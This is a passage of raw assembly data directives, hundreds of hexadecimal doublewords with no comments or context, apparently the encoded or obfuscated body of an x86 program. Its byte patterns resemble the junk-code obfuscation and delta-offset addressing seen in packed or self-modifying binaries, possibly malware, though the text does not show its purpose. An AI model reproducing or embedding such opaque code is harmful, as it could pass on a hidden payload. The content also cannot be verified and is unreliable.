20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0D7F5C357h, 0B5896A6Ch, 64E2C8Dh, 88595FFh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0D4A3E1C3h, 2A519D31h, 8D8D064Eh, 651AF49h dd 7E9h, 0BBDA9700h, 0F65E62Ch, 4ABFD1FFh, 8372AA48h, 4E2649BDh dd 850F0106h, 34h, 6E9026Ah, 0BC000000h, 0C71121EDh, 880F504Eh dd 2, 489F98Bh, 22BF24h, 810F5DB9h, 5, 96D78166h, 595FFA1h dd 0BB064E1Ah, 54D6B79Dh, 0D3EE9h, 0E800h, 815D0000h, 533124EDh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 5993B6A1h, 665F83D5h, 8BEEDABFh, 4E20D59Dh dd 0EE906h, 0A1FA0000h, 0B4BFFCF2h, 32E42026h, 0C85E22ABh dd 92A9858Dh, 66500651h, 489F88Bh, 0DB816624h, 8D89C872h dd 64E271Dh, 35FF64h, 0BF000000h, 68FC319h, 258964h, 0BF000000h dd 634BDA7Ah, 8D585FFh, 6A064Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 3465DDC3h, 82F96845h dd 8D89FF6Ah, 64E1581h, 8FD78166h, 0F5B5FF8Fh, 6A064E26h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 7B22C351h, 0DA8BFC0Fh, 1B0D95FFh, 57E9064Eh dd 89000001h, 4E10A99Dh, 0E600B006h, 0EE870h, 10790000h dd 0B5CE22BBh, 69AD5CE6h, 0AEF28B45h, 5BD9BF0Fh, 9D8B71E4h dd 64E0319h, 830F613Ch, 126h, 10E9h, 0F5F52F00h, 0F04414C3h dd 71325AE5h, 8B8321EFh, 0C8B60FA0h, 6BAF5h, 12E80000h dd 3A000000h, 91279CA7h, 4C48CE9Fh, 0E47AD3F1h, 0FE421FCCh dd 2870F6Ah, 8B000000h, 0C18B5FD9h, 66D9B70Fh, 0C15EB8BFh dd 0EF8104E8h, 7860EA62h, 9E2F766h, 4E194995h, 0E8C82B06h dd 0Ch, 0F5B2883Ch, 0FC6CB1Ah, 95DF8F92h, 21B53156h, 5B064E17h dd 66D18B5Bh, 0E92C22BBh, 0A6h, 8BDE8B66h, 47554C85h, 61BB6649h dd 56E380E9h, 0BF07C083h, 3C995CE6h, 300C083h, 4E13359Dh dd 0FD03B06h, 1183h, 0F8E78100h, 0E952A7E9h, 72h, 2B799D8Bh dd 8D8B064Eh, 0FFFFFFFFh, 8830Fh, 8B520000h, 4E2B39BDh dd 0E1835B06h, 4F840F01h, 0E8000000h, 0Dh, 0A68A7B7Fh dd 8C24F49Ch, 4EB7E234h, 0E840F41h, 0E9000000h, 9, 7826FCABh dd 0C0C2CB66h, 9D8B5FEEh, 64E1FD5h, 0FFFFA583h, 1FEFFFFh dd 4E1BA9BDh, 3B6BBF06h, 958942A0h, 4947554Ch, 8BFABF0Fh dd 0E9DEh, 0B58D0000h, 652AA84h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 4DC35646h, 0E950667Fh, 7670C19Ch dd 0DD9D8B35h, 8B064E25h, 4E19B99Dh, 0BB006A06h, 38E8418Bh dd 1A5995FFh, 6A064Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0F5A5C5C3h, 0FF9B9F3h, 9D8B0000h dd 64E0AF1h, 0E9FCE183h, 0Ch, 582D2F73h, 9FF3F4Bh, 7D4BE69Ah dd 16818589h, 0E8FC064Eh, 7, 157D5512h, 9272655h, 4E2B6185h dd 0B5095F06h, 64E2D3Dh, 0B8h, 0F5BD3100h, 0BA064E0Fh dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 53C35545h dd 1929D16Eh, 0B9F78166h, 0C233AD31h, 0D003E8D1h, 7504E983h dd 0BD0960F4h, 64E2079h, 20259D89h, 6A61064Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7452C353h, 0AE8h, 632BB700h, 6725089h, 8B957ACAh, 4E303D9Dh dd 880D5B06h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8B1AC353h, 4E2B0595h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 2B29839Fh, 5AF1356Dh, 0FE8A6h, 2060000h dd 3070AB38h, 8E9E2BA4h, 6203801h, 0F5BF508h, 680h, 59BD8900h dd 8B064E1Fh, 4E2B658Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 9F112919h, 4DB5894Eh dd 0F064E29h, 686h, 0E18D8900h, 50064E20h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 7ACDCB57h dd 0F99905Eh, 0BD83DFB7h, 64E30FDh, 67840F00h, 0B8000000h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 16C35646h dd 0C1A7F5F1h, 36972EC9h, 3850FAAh, 0F000000h, 8D8DFBB7h dd 64E4E10h, 10799D8Bh, 0E1FF064Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 8BC35747h, 4810Fh, 56570000h dd 0BD835F5Fh, 64E065Dh, 1E840F00h, 80000004h, 0BD83FDF3h dd 64E065Dh, 29840F01h, 0F000004h, 68Ch, 0E3F78100h, 8B1E9E44h dd 4E0BD5BDh, 5DBD8306h, 3064E06h, 3D4860Fh, 0F88B0000h dd 0E3816660h, 8C664451h, 50006AD9h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 9D09F8D3h dd 64E12A5h, 6A04E180h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 8447C350h, 0B589529Ch dd 64E18BDh, 1615B589h, 0C90A064Eh, 14E840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0C83F7EC3h, 858BF956h, 64E1B29h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 95C35141h, 75300710h, 95C511CFh dd 498D297Eh, 0E9064E0Ch, 6, 0A50B192h, 8533F6DEh, 64E288Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0FDC35040h dd 0B70F58B2h, 0F58D89DFh, 90064E10h, 0AABB6650h, 6A90FEh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0E3CADC3h, 594A5561h, 51FAB7FEh, 6A5BFE8Bh, 0E7246800h dd 6053956Eh, 0EA9309BAh, 20B96654h, 815F61F9h, 1CDB2404h dd 6A6AB0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 445970C3h, 0BD995FFh, 6A064Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 665392C3h dd 0F88BF88Bh, 0B12F8589h, 95010651h, 64E3169h, 1F4E9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0DFC278C2h, 0FCC8E56Eh, 0B127858Bh, 6A0651h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0E6A1C3h, 9D8BFDE8h, 64E0C75h, 1800C7h, 0EDBB0000h dd 8B374D33h, 51B12BB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 83B40A86h, 2BACD66Ch dd 4E0379BDh, 0D858B06h, 6A064E30h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0AD18C350h dd 0E2BB660Dh, 6A068974h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 5F22C357h, 1F96FB0h dd 4E05ED9Dh, 0B19D8B06h, 8B064E0Bh, 4E1B2985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 12510BC9h, 669035E2h, 8BDF3DBBh, 4E0A799Dh, 4468906h dd 1858960h, 61064E08h, 0E896F98Ah, 13h, 0A154DD37h, 87342F44h dd 6E785ED2h, 0D739E128h, 0FB08280h, 683h, 850F00h, 5B000000h dd 96DE8A50h, 0B127B5FFh, 0BD8B0651h, 64E0715h, 0C663F468h dd 81F88BBBh, 0A00B2404h, 6A4458h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 7BED3EC3h, 7E900h, 1C910000h dd 0E80E25BEh, 2F858DCBh, 6A0651B1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C679C351h dd 8AF0A31Dh, 51F38166h, 1DBD8BFDh, 50064E17h, 0CA8B6060h dd 4896161h, 0E7816624h, 95FFE95Eh, 64E0BD9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8BC35646h, 0E494D96Eh dd 9D036176h, 64E1291h, 65D85C7h, 3064Eh, 0BD8B0000h, 64E0769h dd 11658589h, 0BD83064Eh, 651B12Fh, 27840F00h, 0F000000h dd 3AE9FFBFh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F867C356h, 3050D2B7h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0DB9416EAh, 0F1ED562h, 8D0FFEB7h, 6, 1F959D23h dd 0BF66064Eh, 0BD836713h, 64E065Dh, 0D5850F03h, 8B000003h dd 4E02DD9Dh, 2FBD8306h, 651B1h, 3C2840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 121BDC3h, 10E96EC9h, 75000000h, 0A8B7ECC8h, 0A1C429D2h dd 0E11D4C94h, 89FB3214h, 4E219D85h, 2FB5FF06h, 230651B1h dd 4E21F9BDh, 7595FF06h, 33064E03h, 4E25219Dh, 23B58B06h dd 10651B1h, 4E076985h, 106C706h, 0F000100h, 6696DABFh dd 50F674BFh, 5E9h, 0BD41D200h, 0E996E442h, 0Fh, 0B531B021h dd 6BCFEFFFh, 6116B1C0h, 0FF008F8Dh, 51B12FB5h, 0E115BF06h dd 0BB6662F6h, 95FF2D1Fh, 64E2901h, 4830Fh, 0BF660000h dd 0B58BF2CEh, 651B123h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 47C35545h, 24867633h, 1F3D9531h, 858B064Eh dd 64E0F35h, 0FFBF0F51h, 0C486895Fh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0A523C353h, 2BC3EF83h, 4E1651BDh, 5958B06h, 0B7064E2Bh dd 4C283CEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 2FC35545h, 12E9h, 5FC4AF00h, 0CBE780E2h, 0FD3894BDh dd 2A7DC86Ch, 8BBFCA8Dh, 4E2161BDh, 20508906h, 858DDE8Ah dd 651C53Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0E4C35646h, 7401B29Ch, 11E8h, 85E43900h, 2D40B921h dd 7BFDC153h, 0B12F0h, 0EE91A67h, 0D6000000h, 0FC2DCBF7h dd 0EA309640h, 5C9807E8h, 86895F9Fh, 0B8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0BDC35242h, 0A9BFC778h dd 6D9D3358h, 6A064E17h, 8C0F5300h, 6, 0B75BD01h, 8B5B064Eh dd 2FB5FFFEh, 810651B1h, 0EEEE71DFh, 595FF6Ah, 6A064E1Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 617CC357h, 89DDCAFBh, 0D71BD0Bh, 0BE9064Eh dd 9E000000h, 816AC853h, 6B89CC0Eh, 6CBB6B2Ah, 5012A42Ch dd 0B690CABFh, 24348924h, 0BC94BB66h, 0FF46EB80h, 51B12FB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 4C1A1CCDh, 5E99D23h, 8060064Eh, 0D98B4BE1h dd 0A195FF61h, 6A064E05h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 6A0AC355h, 0CCEE76CBh dd 0FBB70FE9h, 1509BD83h, 0F00064Eh, 1384h, 559D2B00h dd 50064E2Ah, 0F6B1DBBBh, 2434892Fh, 0AF0BF66h, 0B12FB5FFh dd 0BF0F0651h, 0D995FFFAh, 6A064E25h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0C9E5C356h, 0BF8C7EAh, 4E0E5D9Dh, 6810F06h dd 8B000000h, 4E0D5DBDh, 2FB5FF06h, 0F0651B1h, 8Bh, 49BD8B00h dd 0FF064E30h, 4E250D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89A427B9h dd 4E0E459Dh, 31BD8306h, 2064E15h, 66840Fh, 9D8B0000h dd 64E0E11h, 2925858Bh, 6A064Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 812846C3h, 1121CDCFh dd 0C621h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 2AC35141h, 5D012DCEh, 870FAD7Dh, 0Ch, 6890Fh, 0BD8B0000h dd 64E2A91h, 121D85C7h, 64Eh, 85890000h, 64E2BB9h, 0FFF377E9h dd 0B19D8BFFh, 8B064E2Dh, 418D89C1h, 66064E0Dh, 8D6A36BFh dd 533F4C8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0DB81FB15h, 7B4475A5h, 2B058D89h dd 6A064Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 958928C3h, 64E1A4Dh, 2B6585C7h, 739C064Eh dd 0BE660000h, 85C701EEh, 64E065Dh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 47C35343h dd 2C4740Dh, 0B5FF547Eh, 64E20F1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0E8C35646h, 5105E75Ah, 3D30DF44h dd 0BE8E9h, 0BF3D0000h, 6C69A28Fh, 47FE6994h, 0EE9A7h dd 0EE230000h, 0A5C65157h, 7FD5ED48h, 0E5A1573Eh, 9995FF5Ah dd 8B064E0Fh, 4E156185h, 6A94B606h, 5995FF00h, 8B064E1Ah dd 144CEBC0h, 0E04731F2h, 50869A29h, 5110AFC9h, 3F49929h dd 396C1C7Fh, 0DC2C3934h, 38083BDDh, 351DF811h, 73485BA1h dd 0DE9829FEh, 0AC8B9F74h, 37A42CA1h, 0BC451003h, 78506FD1h dd 0A63430E0h, 0E7E1CE96h, 63952812h, 34373F53h, 8D8DEAEFh dd 53406B8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 89F84832h, 4E2B058Dh, 6585C706h dd 0A8064E2Bh, 6A00006Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0E652C356h, 3C84E733h dd 0DE9AB37h, 4F000000h, 0A181270Ch, 839791EFh, 0A2CF3061h dd 65D85C7h, 64Eh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E9D558C3h, 9, 0E02F3081h dd 746B8341h, 0CE856AAh, 0D5000000h, 4E59FAF1h, 77047AF3h dd 662ACF48h, 5B58DE8Bh, 0EE5B5FFh, 95FF064Eh, 64E0F99h dd 3055B58Bh, 6A064Eh, 1A5995FFh, 0C08B064Eh, 74B10EEBh dd 674B728h, 0CD17E2D4h, 7C3AC00Eh, 7E8h, 4993E600h, 8377A5CFh dd 0AE9h, 0BF708000h, 793A498h, 58424B9Dh, 68F0Fh, 85890000h dd 64E25D5h, 669DC081h, 0DE80000h, 0 dd 16E60F5Ah, 0F1DE1F38h, 4119EE0Dh, 0C71BD23h, 2B5A064Eh dd 18850FC9h, 0E9000000h, 13h, 3329DB31h, 0D7CA1510h, 0E07A47DBh dd 0C10AF522h, 8B4F6FD6h, 958B081Ch, 64E077Dh, 57B4F381h dd 0AE95444h, 0D7000000h, 59C5CDACh, 949C46C7h, 27EB8159h dd 0E9725EF2h, 5, 460FBA3Fh, 0F9EB8114h, 0F59A9B7h, 689h dd 78CA8100h, 5323C5C9h, 0F3E78166h, 8048FDCh, 14B58589h dd 0F56064Eh, 588h, 9DBEBE00h, 835F70DCh, 0BF0F03E9h, 816649FEh dd 813FC6D2h, 0FF9A38F9h, 8C850FFFh, 66FFFFFFh, 6B19F28Bh dd 0AEB7E458h, 609EBAC3h, 5DACA500h, 0E6D91C80h, 63C244C5h dd 0AEFCD078h, 0F98631C3h, 20F26295h, 0E0B8327Dh, 59DBB8C5h dd 6D297FE4h, 0B02E7058h, 0BB18CEC3h, 158B29Dh, 0E0F47FDCh dd 0B32926B1h, 0E0B8327Dh, 59DBB8C5h, 6D297FE4h, 0B0210158h dd 0BB18CEC3h, 2960B89Dh, 8AF47FC0h, 0E39166C5h, 0C0BC31C5h dd 6901F29Ah, 612B15B9h, 0F4931581h, 0A7CB31C5h, 0EF14F292h dd 2079F972h, 0E079BCCAh, 6CDA31C5h, 75CBB81Dh, 6B297FC2h dd 0AE9DE848h, 0EFCF99C3h, 0E0E60541h, 9CAA8EC5h, 5DFA00DBh dd 0E6F21D9Ch, 0DDDA3EC5h, 82F31C5h, 0E09731CDh, 8778E999h dd 4C219F12h, 0F5B3BC4Eh, 922378Bh, 0E0BC32CCh, 80E31AFh dd 0E02F31C6h, 0B85469E5h, 0E4EF754Ch, 0E4C17544h, 0E0F231D9h dd 1BBA6185h, 94173D56h, 0DA9CC4AFh, 0E008317Bh, 0B7975BC7h dd 0E0CB322Dh, 23BA11C5h, 0C48EB89Ah, 0C43DB0C1h, 0E0BC2CC1h dd 230976C5h, 79D72C48h, 0F9A50390h, 394029F8h, 7630B448h dd 7D793794h, 0E6373A0Ch, 280EE13Ah, 6451F140h, 0E02F31B5h dd 0F4D6BC4Eh, 0D84A378Bh, 1B645792h, 0E0E7B4CAh, 55F031C5h dd 0E6F23B78h, 0E426B0A3h, 642033C7h, 0E0973306h, 86058ECAh dd 80790944h, 0E0CCB4CAh, 5DF031C5h, 0E6F22000h, 0E226B130h dd 0CDAA3E2Dh, 6B9731C5h, 0AEE29C50h, 0AD78BAC3h, 86F47FE8h dd 0E07F4944h, 0F5393E6Eh, 615E31C5h, 978D2C1Eh, 882D57EEh dd 0E2B6D885h, 176431C5h, 0B077AAF3h, 0E178317Bh, 3501B883h dd 6D587FE0h, 0B1B9E440h, 0B0975BC3h, 0E0CB322Dh, 23BD11C5h dd 0C4B6B89Dh, 0C43DB0C1h, 0E0BC2DC1h, 230E71C5h, 0FEC019B9h dd 0A47E9991h, 28743E72h, 0F180AC4Eh, 300D378Bh, 0E2C4ACECh dd 2039378Bh, 0E1BDB5CAh, 0E04531C5h, 0E094D997h, 0BAEB31C5h dd 0B46C6B06h, 0A47335E1h, 0E06235E1h, 0B2FE31C5h, 0EFF22806h dd 3D63E55Dh, 86AFB0EEh, 0EFC933F8h, 0E0E50440h, 0B6F25BC5h dd 0E079322Dh, 23E211C5h, 0C42AB89Bh, 0C46BB0C1h, 0E0972CC1h dd 239D77C5h, 17BE9766h, 0B70E7BF3h, 98F8EE9Ah, 0BF8157C3h dd 28DA3EBFh, 602F31C4h, 61F1220Fh, 0EFABADFDh, 0E0E5B640h dd 0E0E0D9C5h, 0E08531C5h, 301D19EBh, 5C2F1008h, 5BE7BB98h dd 5CE394FFh, 0E922609Ah, 2EE531C5h, 0A3FD4CF2h, 9BBB0D84h dd 0E2C4B19Ch, 0B5DB3E2Dh, 8A2F31C5h, 0E37F66C5h, 0C0CB31C5h dd 69BAF29Ah, 61F615B9h, 0F47D1581h, 0A7BC31C5h, 0D1E3F292h dd 0AE29AC78h, 855588C3h, 61AB5292h, 0E692DB04h, 0E6743EDEh dd 0E97931C5h, 0AEA4A078h, 613850C3h, 202F37BDh, 0E099B4CAh dd 394131C5h, 0FD24B0A3h, 0E1C7D850h, 98CC31C5h, 0E1BD317Bh dd 0B65E5BBBh, 0E02F322Dh, 23C911C5h, 0C4BFB89Bh, 0C4A1B0C1h dd 0E0F226C1h, 232F77C5h, 0A06A4933h, 0ECBF844Ch, 65A2378Bh dd 0E6C6A710h, 89C31AFh, 0E0E531C6h, 0BF316EE5h, 0E45D4D4Ch dd 0E4987544h, 0E05E31D2h, 0BAEC6682h, 5627A705h, 8A1BCEC8h dd 0E30D60C5h, 0C0F231C5h, 6920F29Ch, 61B81589h, 0F45A1581h dd 0A12F31C5h, 653AF294h, 964F3E05h, 0EFE531C5h, 0D872EF7Ah dd 0D5FC3E2Dh, 69BC31C5h, 0AE7C4C78h, 0E557B1C3h, 0C5123EB6h dd 6BCB31C5h, 0AEC59878h, 0E78AB1C3h, 70FD3E96h, 9BC31C5h dd 0E05E31D5h, 99CD9F68h, 0DD786CEEh, 4927EBDBh, 441C93BAh dd 6FCAB0A3h, 0CAFC3EC0h, 69BC31C5h, 0AE7EA858h, 0E657B1C3h dd 0FA123EADh, 15CB31C5h, 0EB9DB0A3h, 65FD143Ah, 0E07931C8h dd 0D38DAC4Eh, 0A8B7378Bh, 522F31C5h, 8A571AFEh, 0E32364C5h dd 0C0E531C5h, 69AFF298h, 617D15A9h, 0F8B81581h, 0A55E31C5h dd 0C575F290h, 98E39E7h, 0E0CB31EEh, 8B531AFh, 0E0F231C6h dd 0B8BA69E5h, 0E498754Ch, 0E47A7544h, 0E02F31D0h, 9546185h dd 58906024h, 0E0E531C4h, 0E0793E39h, 0B07931C5h, 0E0BEB3CAh dd 28D531C5h, 8A0B354Ch, 0E37F64C5h, 0C0CB31C5h, 69B8F298h dd 61F615A9h, 0FA7D1581h, 0A5BC31C5h, 56DFF290h, 0EF6706F6h dd 511A18A1h, 6DCD7FC9h, 0B3A46D78h, 2D7FBCC3h, 587F6280h dd 97DA64E6h, 0C6DFB4C6h, 2F04378Bh, 317BD804h, 5BBBE1BDh dd 322DB65Eh, 11C5E02Fh, 0B89B23C9h, 0B0C1C4BFh, 83C1C4A1h dd 0A4F305E9h, 718D8958h, 6A064E2Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 1315C355h dd 0F862E490h, 0AB569254h, 3EDBD89h, 8D8B064Eh, 64E08B5h dd 0C00BC8B2h, 89840Fh, 29600000h, 4E0F8595h, 0D7C38106h dd 61651DD1h, 4E10B58Dh, 6A064Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 483B1DC3h, 180D8529h dd 8D8B064Eh, 64E0E11h, 3B8h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0A8BBE64Ah dd 518589F6h, 0FF064E03h, 0F1BD89E6h, 0E8064E25h, 0Dh dd 0BE8A03D1h, 5EE79D8Bh, 0EF6E09FBh, 0E98166C4h, 405ADE88h dd 258D8D33h, 0C08B064Eh, 0BD3DBF66h, 2D45BD83h, 7500064Eh dd 0E1BD8309h, 64E19h, 53501974h, 3B8C08Bh, 89000004h dd 4E300185h, 0A89D8D06h, 0FF0650B9h, 83585BD3h, 4E19E1BDh dd 17740006h, 3B85350h, 89000004h, 4E300185h, 499D8D06h dd 0FF0650B6h, 89585BD3h, 4E1FD59Dh, 0A5B58906h, 66064E06h dd 0C08BDE8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 82C35141h, 348DC415h, 36D7FF2Dh, 582061EAh, 31C85233h dd 12100133h, 0BB53C268h, 0B300256Fh, 26062577h, 71010133h dd 629CC260h, 324006DBh, 0D5F0DA33h, 93BEEA8h, 54565BCBh dd 0B962D9BFh, 3D06A9C9h, 320388B7h, 62806B33h, 324002DBh dd 0F1782133h, 1654886Bh, 164C8037h, 32041B37h, 0F1524133h dd 337E5F70h, 124228Ch, 7C4EFC86h, 6B9D8235h, 32164F1Fh dd 3224853Ch, 0ABF0133h, 0DA3676A9h, 32010120h, 6B1ACB15h dd 4E30A61Dh, 4F1109F9h, 6E0C8E6Ah, 1B434950h, 7C1F04AEh dd 19EB5F35h, 54010131h, 3D10F3B8h, 324001B3h, 35C95133h dd 58100133h, 10727880h, 58940C24h, 31EA5733h, 12010133h dd 0BBDEC26Dh, 0B3442547h, 28242577h, 74100133h, 4460C265h dd 5D5D9CEEh, 3B8F88BBh, 3D074F28h, 328007B5h, 73FD8833h dd 3D264F20h, 0CC344D32h, 0DA5D0159h, 32040130h, 6FC15C13h dd 36256DBAh, 36A445B2h, 32400126h, 0CFE35476h, 0FAD88EAh dd 0DB0E4F3Eh, 32040139h, 0E99A9D59h, 0F4A72555h, 3DD8C14Fh dd 324007B6h, 5BAD0033h, 0B1164F23h, 0A7832DF3h, 344A1A42h dd 326809B8h, 3202E960h, 69A00133h, 6EC95AF0h, 76A10517h dd 32080517h, 614B0133h, 0AF4CB4F0h, 8F89AAA5h, 344F249Eh dd 0CEC88A55h, 0DA150159h, 32200130h, 6FD35C13h, 362C6DBAh dd 362045B2h, 32020125h, 0DCC25476h, 0AF099ACFh, 340E10E6h dd 32268A3Ch, 0BF210133h, 3446241Eh, 43D8055h, 0CA860ECCh dd 58010133h, 31685733h, 12400133h, 0BB7EC26Dh, 0B3142547h dd 270C2577h, 74040133h, 0BF27C265h, 3F5C9CB8h, 0F303077Dh dd 62406B3Ah, 322002DBh, 0F1482133h, 164C886Bh, 16408037h dd 32021A37h, 0F1514133h, 8C4930AFh, 10AF5D7Bh, 3DC938B3h dd 3210D8B6h, 62086B33h, 320402DBh, 0F15A2133h, 1645886Bh dd 16C48037h, 32401C37h, 0F1704133h, 751DC104h, 0FA725E3Fh dd 738F36B8h, 3208E832h, 0B1830133h, 7BA88711h, 0CB9E9635h dd 324AC930h, 3213E962h, 6B280133h, 7E8D58F0h, 76830517h dd 321C0517h, 63C10133h, 87F21F0h, 483EDCE2h, 3DA0BFB2h dd 320807B2h, 0F3910233h, 0B1044F2Bh, 870204F2h, 34CE2306h dd 3244873Ch, 0B8720133h, 0B915BCEh, 0B94B4AA3h, 3254843Ch dd 32680133h, 3202E966h, 6FA00133h, 5EC95CF0h, 76A10517h dd 32040517h, 674D0133h, 0BFF13DF0h, 7C4C11BEh, 44DB8135h dd 3280028Bh, 61406B33h, 322002DBh, 0F14B2133h, 16548868h dd 16408037h, 32021837h, 0F1524233h, 0F77A54A2h, 0D3BF8AF3h dd 0DA414B84h, 32100127h, 0AFCC249Fh, 4A907CC9h, 0AE651367h dd 45DA66D4h, 24432E5Ah, 3242863Ch, 0C970133h, 76AD8C6Dh dd 0BF0E5274h, 614E46BEh, 0B176B935h, 0B73200A1h, 34CE189Ah dd 5820CE18h, 31C85233h, 12100133h, 0BB53C268h, 0B300256Fh dd 26062577h, 71010133h, 5E98360h, 0C08BA4F3h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FBC35040h, 822A10C2h dd 0C7AC91C2h, 0CE816663h, 0C38BDFA8h, 10E8h, 5F3BFA00h dd 0D0EAC8D3h, 0E1DECF1Ch, 0F91A1397h, 5E4FB06Ch, 5E9h dd 0D80FEC00h, 0C681A7ECh, 6ED7h, 0C3E98166h, 0BA73h, 0BD890000h dd 64E0C1Dh, 0E83234FFh, 0Dh, 32D78B28h, 56CC8DCCh, 0FCE46AFDh dd 5E929h, 90780000h, 592AEBD3h, 0CE85Fh, 0CC320000h, 0FD56CC8Dh dd 29FCE46Ah, 0E9605BDEh, 0Ah, 0ED3DCC42h, 851EEEB8h, 30BA0F83h dd 611EE08Eh, 3DEF8159h, 0E964CDADh, 0Bh, 945D4E1Bh, 17E46398h dd 8144754Fh, 80C414EFh, 39853120h, 81064E31h, 21BEEC7h dd 55B50909h, 89064E22h, 8166163Ch, 0FC750AE9h, 8101EA83h dd 95BCBC1h, 4A4A4A42h, 2F7D8529h, 0FA81064Eh, 0FFFF91F8h dd 0FF62850Fh, 51B7FFFFh, 0DE8h, 0A9EF8900h, 81C29228h dd 7985EC36h, 81668A14h, 584A1BE9h, 81F18B66h, 6438C0h dd 1D9D2900h, 2B064E18h, 0F6B70FFFh, 0E80734FFh, 8, 97343FDAh dd 0AD74F4ECh, 0FE9h, 0A1D21000h, 72DF765Ah, 14288BEBh dd 559BA5EBh, 6E95B59h, 13000000h, 59B84EFCh, 0D7EB81BCh dd 0F8090B4Fh, 92CCF381h, 0B58948FDh, 64E0C79h, 1D00F381h dd 81665292h, 5314C7F1h, 178A0Fh, 12E90000h, 7D000000h dd 35F3DFFDh, 1D2181A7h, 0CAAD6F64h, 1A3066DFh, 38048FF8h dd 0CE8h, 29002D00h, 892021FAh, 15C4DD67h, 99BD8996h, 5E064E13h dd 77DB58Bh, 0EF83064Eh, 0FEBE6604h, 0C4FF8143h, 0FFFFF9Ch dd 1A85h, 4D8D3100h, 